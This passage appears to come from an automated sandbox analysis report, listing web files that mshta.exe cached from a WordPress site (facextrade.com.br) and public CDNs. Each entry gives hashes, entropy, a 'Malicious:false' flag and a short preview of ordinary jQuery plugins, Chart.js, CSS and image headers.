                                                                                      Preview:(function($){..$.fn.tmStickUp=function(options){....var getOptions = {....correctionSelector: $('.correctionSelector')...,.listenSelector: $('.listenSelector')...,.active: false...,.pseudo: true...}...$.extend(getOptions, options);....var...._this = $(this)...,._window = $(window)...,._document = $(document)...,.thisOffsetTop = 0...,.thisOuterHeight = 0...,.thisMarginTop = 0...,.thisPaddingTop = 0...,.documentScroll = 0...,.pseudoBlock...,.lastScrollValue = 0...,.scrollDir = ''...,.tmpScrolled...;....if (_this.length != 0) {....init();...}....function init(){....thisOffsetTop = parseInt(_this.offset().top);....thisMarginTop = parseInt(_this.css("margin-top"));....thisOuterHeight = parseInt(_this.outerHeight(true));.....if(getOptions.pseudo){.....$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);.....pseudoBlock = $('.pseudoStickyBlock');.....pseudoBlock.css({"position":"relative", "display":"block"});....}.....if(getOptions.active){.....addEventsFunction();....}...}//end in

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\up-arrow[1].png

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:PNG image data, 31 x 19, 8-bit/color RGBA, non-interlaced
                                                                                      Category:downloaded
                                                                                      Size (bytes):1370
                                                                                      Entropy (8bit):6.548363017537382
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:ka1he91WwylZ82lYSqMHiwe76ceVc7cxT3ouyJ3V8BGy0QcJLJgSApYg1:zqQinNuiF61q7uIJ30D07JVgtpYi
                                                                                      MD5:DF0D428C42D964F07B5C2875B85AB1EC
                                                                                      SHA1:42ACD8E7E0919A99D42F09A62CD0B5FC0CE59B43
                                                                                      SHA-256:E50B8D2007404AA7FC5484E29160C652C61433EC2732C37B9FEAF0ECC60E45A0
                                                                                      SHA-512:A973C4169AD4C9C74F392821E64C5FFB17A7A44FE0517B836409CB8C79EB9D296F6E9B6C420C66227D6E11C7211E327D370A4E9447E47D448B4947551AB6610B
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
                                                                                      Preview:.PNG........IHDR.............hl.B....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf:RDF> </x:x

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\warning[1]

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:GIF image data, version 89a, 36 x 38
                                                                                      Category:dropped
                                                                                      Size (bytes):1062
                                                                                      Entropy (8bit):4.517838839626174
                                                                                      Encrypted:false
                                                                                      SSDEEP:12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
                                                                                      MD5:124A9E7B6976F7570134B7034EE28D2B
                                                                                      SHA1:E889BFC2A2E57491016B05DB966FC6297A174F55
                                                                                      SHA-256:5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
                                                                                      SHA-512:EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
                                                                                      Malicious:false
                                                                                      Preview:GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\wp-embed.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):1391
                                                                                      Entropy (8bit):5.13936657531626
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:XUdqIoZ2zsben5WlLysyIOKI1mQqRhoj3v2rFEgRuLUMB9/RUCXXmC3+:XUyEsyKystOKumTsOrFEmu7Bl6CX2Q+
                                                                                      MD5:570AE0F3C201604926EA599D3D1F6C04
                                                                                      SHA1:2C29243A73660964D4712B969D2A15E27777BC14
                                                                                      SHA-256:5138D39633DC69FCD0ED7F33A5E38DC339123F682FA7F5242066879C2BBC8C9B
                                                                                      SHA-512:44583F156E95AA16D20ED8DB8421001D9B7257B56B4FFF1E0378760406B4D6EB2B1315D28AD4F3F489A7733814B2FB2DDDF8F28004DAAEEE8D9BF4EA22A2742E
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
                                                                                      Preview:!function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp||{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret||t.message||t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var e,t,r=-1!==navigator.appV

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\chart.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):19761
                                                                                      Entropy (8bit):5.458312135639062
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:bpO1nM9u0BDwt0u/9jydPsRKiyd+sbyWwDHdQPy0MaryWuDHdQ1Q58:Gwumwt0uVmeKIsiKpAaH
                                                                                      MD5:6806368C6A0BF73A5236B452FD5C2332
                                                                                      SHA1:250B6DE151107A11DA015D052CE89D1FE042F23D
                                                                                      SHA-256:835526E45335B67067D09FEF4876BEB46F6557A357CD6F3EDA61284612983A0D
                                                                                      SHA-512:D4278F7706EE8631F4DCD910D6247E4A80D1B6BD20B3484F23A039779F951B75BA62EE379EDAE9D4FF6D06A9814F96122481539DF590D9F8E781F4E4C3876D6B
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
                                                                                      Preview:var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.steps*c.stepValue),1,0);return b*c.steps*a}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=.Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1*Math.pow(10,a)))*Math.pow(10,a);e=Math.ceil(e/(1*Math.pow(10,a)))*Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b||d>c;)a=d<b?a/2:2*a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN(parseFloat(c))&&isFinite(c)&&a>c?c:!isNaN(parseFloat(

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\cherry.parallax[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):12158
                                                                                      Entropy (8bit):3.592754771957016
                                                                                      Encrypted:false
                                                                                      SSDEEP:192:t3BO6DYHSCIGSNHsVgqdAy3Ho4y+JFynA/RMAPAdLP3fbXchcRiiAf:x3wgkdn4Chv
                                                                                      MD5:9DFB3EE198D0B5AD45C2A0BCD6BF803B
                                                                                      SHA1:C90AFF5CC613C7308E0AD69F62B31E19FEFEE4EF
                                                                                      SHA-256:89FCE279C9EA9D6232EE5A76067340817EF1A0FD4555FAC18095A202BB6DA952
                                                                                      SHA-512:1155CC8C04C090E7ADC600D3473C481C66041EBB60DDC8189754E6EC61AB49120F3F9505250FA2CFC164AA91F9863E3F4C405381568B33DAC8346D1BA8652F41
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
                                                                                      Preview:jQuery(document).ready(function($){. . parallax_box = $('section.parallax-box');. if(parallax_box.length > 0){. ParallaxBox();. }. . function ParallaxBox(). {. var windowSelector = $(window),. documentSelector = $(document),. documentWidth = documentSelector.width(),. windowHeight = windowSelector.outerHeight(),. liteMode = false,. ieVersion = getInternetExplorerVersion();. . var ds = document.documentElement;. . if(!device.mobile() && !device.tablet()){....liteMode = false;. . if (ieVersion !=-1 && ieVersion < 9){. liteMode = true;. }...}else{....liteMode = true;...}. . parallax_box.each(function(). {. parallaxBox($(this));. });. . function parallaxBox(obj){. . var obj_bg = obj.find('.parallax-bg'),. type = obj_bg.data('parall

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\css[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):152
                                                                                      Entropy (8bit):5.082226381168297
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
                                                                                      MD5:2BC56AB743AAE5AAC9AAC55D0850AAC5
                                                                                      SHA1:BFB989317C6BAAE1BAD28B90D9535B19BE847827
                                                                                      SHA-256:5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
                                                                                      SHA-512:FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.googleapis.com/css?family=Lato&subset=latin
                                                                                      Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\custom-script[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):5333
                                                                                      Entropy (8bit):5.251194517626103
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:i7Xo1sX/me8vbi9uq5r+iM19dnFMoOsSyM4WtKNOk:SGsuvbi9odedXyM3tKgk
                                                                                      MD5:739E27C21C55279E44DCF1C1967E8F5F
                                                                                      SHA1:F95C101BABBBA485FE49C82991C8299C90D001D9
                                                                                      SHA-256:611C66D42B9CC55CFA24BA8FC857B9ED01B78E2A5C2A954BC7DD70A889A7AD19
                                                                                      SHA-512:1DE4C427F75F4F9E9EA3BA37EB697C5E768EBE403CE2E410872CD18C22DB60D4EE0D032D795C9BCA03CE793D84D23B68BA963BF4110D8537F7E2D29B1D5B809C
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
                                                                                      Preview:jQuery(document).ready(function(){..var...windowSelector = jQuery(window)..;...windowSelector.resize(function(){...jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });..}).trigger("resize");...jQuery('.cherry_media_parallax_1').fadeTo(0, 0);...})..$(function() {..var...menuWrap = $('.header .menu_wrap')..,.offsetArray = []..,.offsetValueArray = []..,._document = $(document)..,.currHash = ''..,.isAnim = false..,.isHomePage = $('body').hasClass('home')? true:false..;....//--------------------------- Menu navigation ---------------------------..$('#topnav > li', menuWrap).each(function(){...if($(this).hasClass('menu-item-type-custom')){....var newUrl = $('header .log

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\device.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):2778
                                                                                      Entropy (8bit):4.92970371310333
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
                                                                                      MD5:CCD1C11A6BA5DF0CBFC470B04A3739F4
                                                                                      SHA1:A8864D81DE7689672EF8F916E430AAABF563C22D
                                                                                      SHA-256:A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
                                                                                      SHA-512:31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
                                                                                      Preview:/*! device.js 0.1.58 */.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()||device.ipod()||device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")||d("bb10")||d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\error[1]

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):3247
                                                                                      Entropy (8bit):5.459946526910292
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
                                                                                      MD5:16AA7C3BEBF9C1B84C9EE07666E3207F
                                                                                      SHA1:BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
                                                                                      SHA-256:7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
                                                                                      SHA-512:245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
                                                                                      Malicious:false
                                                                                      Preview:...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\font-awesome[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):27231
                                                                                      Entropy (8bit):4.969538355156986
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:V4CBhTJwxFGFepFFVofu2NF2advHrGlmBpa/pe:zBEFGFepFvoGOkadvHz3Ke
                                                                                      MD5:2D53B06F292DCB355B5E1A39EC065054
                                                                                      SHA1:57CA25A18CBDEDF36973B712BC81F9E3F883A371
                                                                                      SHA-256:22A22E76F4DE930E54DD33AF00C71B68828847409E5E79787DF5224DD9776C6F
                                                                                      SHA-512:83C4394957069679994F7C04B1643AF895733E3469B539F9D202934FA5F808D31CB42EDF92029F23E849DEDD45EC50BB90D0009C3FA4450E8E50AB9C832313DA
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
                                                                                      Preview:/*!. * Font Awesome 3.2.1. * the iconic font designed for Bootstrap. * ------------------------------------------------------------------------------. * The full suite of pictographic icons, examples, and documentation can be. * found at http://fontawesome.io. Stay up to date on Twitter at. * http://twitter.com/fontawesome.. *. * License. * ------------------------------------------------------------------------------. * - The Font Awesome font is licensed under SIL OFL 1.1 -. * http://scripts.sil.org/OFL. * - Font Awesome CSS, LESS, and SASS files are licensed under MIT License -. * http://opensource.org/licenses/mit-license.html. * - Font Awesome documentation licensed under CC BY 3.0 -. * http://creativecommons.org/licenses/by/3.0/. * - Attribution is no longer required in Font Awesome 3.0, but much appreciated:. * "Font Awesome by Dave Gandy - http://fontawesome.io". *. * Author - Dave Gandy. * -------------------------------------------------------------

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\jflickrfeed[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):1076
                                                                                      Entropy (8bit):5.146194862266352
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:2wFz5dxCwMo9Ip1Axquw14QOdq9aE0VrkV/VDFVHV6VJvV7d9r2lLnsn1Dn:FzVdYgqjOdquS9z1wJtJe7s1D
                                                                                      MD5:FE76A6B329775418FB0EFE5FE8797001
                                                                                      SHA1:6ADF84DEC08BAF40C1CB81BB94610EEBEB630451
                                                                                      SHA-256:7F83A9259FD19BC18D4C3ED17095CBDE1A8974BA1E727F99321454E6F117D4E7
                                                                                      SHA-512:D94D842E4461984D5858CA04B1C7C9B7F3BCDB25F6C8BD551F1CA6825ACC314DEE3E4F5605A97DD79EF92703BF5AB7B8DE9BE91C5802063A311C2945173397CE
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
                                                                                      Preview:(function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f||(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=./<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h+"}}","g"),a[h]);g.append(

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\jquery-migrate-1.2.1.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):7199
                                                                                      Entropy (8bit):5.223786028238701
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:tBySz91Gwyk35YrfBewIt9jKLKDs2SFNK7wIDBRANyCfVJ45NI:zySzvGw/35YbMx9jKLKD3UIDBR8VVUq
                                                                                      MD5:EB05D8D73B5B13D8D84308A4751ECE96
                                                                                      SHA1:743052320809514FB788FE1D3DF37FC87CE90452
                                                                                      SHA-256:1E67D8DBCCA1F6FD94E077C85C2FB40FA1C2756C99238DAA8DA882144260A68D
                                                                                      SHA-512:7B68A43A22A41404A2FF58E0DA6A237492CAD0FC3E56D216980802B4D5FB483895262A7E049340D6670002BDF899BA88C319239E60D0AAE1AC31D98556B0AD6E
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
                                                                                      Preview:/*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */.jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},c=e.attrHoo

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\jquery.magnific-popup.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):20669
                                                                                      Entropy (8bit):5.2808077876911295
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:3ORjoixwByWeRZELR0oXnl0HFuG/76GIPGQHv5clO9sdG:3CZHEf6FuG/0um5cAQG
                                                                                      MD5:588A4C7A711E01405E02B4E2F8E1B2D6
                                                                                      SHA1:263D200778CB34026816AE5A7718C5AE4F6AEC49
                                                                                      SHA-256:C9E8F0F8A438833EF971B7482991C681FFB7FB5BFF9B16CEADB22AD7C174A29E
                                                                                      SHA-512:86DBD71D944B3F03F20A62E57E1CFA202D306E97102C6EB2EADE78D672E43227B1C6508B799AD88FB0D3516664CF4726D3E9C1119D5A05381B48A3912E34E688
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
                                                                                      Preview:/*! Magnific Popup - v0.9.3 - 2013-07-16.* http://dimsemenov.com/plugins/magnific-popup/.* Copyright (c) 2013 Dmitry Semenov; */.(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn||(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.currTemplate.closeBtn},P=function(){e.magnificPopup.instan

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\jquery.mobilemenu[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:HTML document, ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):2074
                                                                                      Entropy (8bit):5.0968137085902505
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:MD00ieaw9PS+mQeavhBFxQDgaQEqMeDPs11Uix4gWl5aBn2vUys2O:6haw9PS+oenaDQEqMeDPuUG++2K2O
                                                                                      MD5:77DDDC6C72834DC757EB755B46C00F8D
                                                                                      SHA1:894745AF5CF26EB10DFE28F3BB0C6B2C7B0C286B
                                                                                      SHA-256:C5F36FC1D0410B310F27E21BA0C948B9E6914F41C119D02C4629CA894D177A1E
                                                                                      SHA-512:D13DE2DF355B214C25943E1859C595CBF51AF4854E94093B457B2C99DA66D9F9308DA8A94404F4240811B1A50BA3C2A28316E460964C3A5C0EDCC3B2F03161B3
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
                                                                                      Preview:/**. * jQuery Mobile Menu. * Turn unordered list menu into dropdown select menu. * version 1.0(31-OCT-2011). *. * Built on top of the jQuery library. * http://jquery.com. *. * Documentation. * http://github.com/mambows/mobilemenu. */.(function($){..$.fn.mobileMenu = function(options) {...var defaults = {.....defaultText: 'Navigate to...',.....className: 'select-menu',.....subMenuClass: 'sub-menu',.....subMenuDash: '&ndash;'.....},....settings = $.extend( defaults, options ),....el = $(this);....$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')....this.each(function(){....// ad class to submenu list....el.find('ul').addClass(settings.subMenuClass);.....// Create base menu....$('<select />',{'class':settings.className}).insertAfter(el);.....// Create default option....$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );.....// Create select option from menu...

